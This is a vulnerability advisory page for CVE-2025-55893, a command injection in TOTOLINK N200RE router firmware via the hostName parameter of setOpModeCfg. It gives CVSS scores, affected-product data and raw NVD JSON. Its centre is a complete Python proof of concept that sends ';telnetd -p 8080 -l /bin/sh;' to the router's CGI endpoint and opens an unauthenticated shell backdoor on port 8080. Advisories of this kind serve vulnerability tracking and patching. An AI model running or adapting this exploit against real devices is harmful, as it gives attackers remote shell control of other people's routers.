Security Vulnerability Report
中文
CVE-2025-55893 CVSS 6.5 MEDIUM

CVE-2025-55893

Published: 2025-12-15 17:15:53
Last Modified: 2025-12-17 19:20:44

Description

TOTOLINK N200RE V9.3.5u.6437_B20230519 is vulnerable to command Injection in setOpModeCfg via hostName.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:o:totolink:n200re_firmware:9.3.5u.6437_b20230519:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:totolink:n200re:-:*:*:*:*:*:*:* - NOT VULNERABLE
TOTOLINK N200RE V9.3.5u.6437_B20230519

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-55893 PoC - TOTOLINK N200RE Command Injection # Target: TOTOLINK N200RE V9.3.5u.6437_B20230519 # Endpoint: /cgi-bin/cstecgi.cgi target_ip = "192.168.0.1" # Default router IP target_url = f"http://{target_ip}/cgi-bin/cstecgi.cgi" # Malicious payload to inject command # Using telnetd to create a backdoor connection payload = { "topicurl": "setOpModeCfg", "hostName": ";telnetd -p 8080 -l /bin/sh;" # Command injection payload } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } try: print(f"[*] Sending exploit to {target_url}") print(f"[*] Payload: {payload['hostName']}") response = requests.post(target_url, json=payload, headers=headers, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response: {response.text}") if response.status_code == 200: print("[+] Exploit sent successfully!") print("[+] Telnet backdoor should be active on port 8080") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-55893", "sourceIdentifier": "[email protected]", "published": "2025-12-15T17:15:53.223", "lastModified": "2025-12-17T19:20:44.227", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "TOTOLINK N200RE V9.3.5u.6437_B20230519 is vulnerable to command Injection in setOpModeCfg via hostName."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:totolink:n200re_firmware:9.3.5u.6437_b20230519:*:*:*:*:*:*:*", "matchCriteriaId": "BE18B5F5-6570-42C0-B470-F67D5FBEC439"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:totolink:n200re:-:*:*:*:*:*:*:*", "matchCriteriaId": "9FF7FF59-DB13-4FEA-A81C-124048BF1676"}]}]}], "references": [{"url": "https://github.com/l0tk3/CVES/blob/main/CVE-2025-55893.pdf", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.totolink.net/", "source": "[email protected]", "tags": ["Product"]}]}}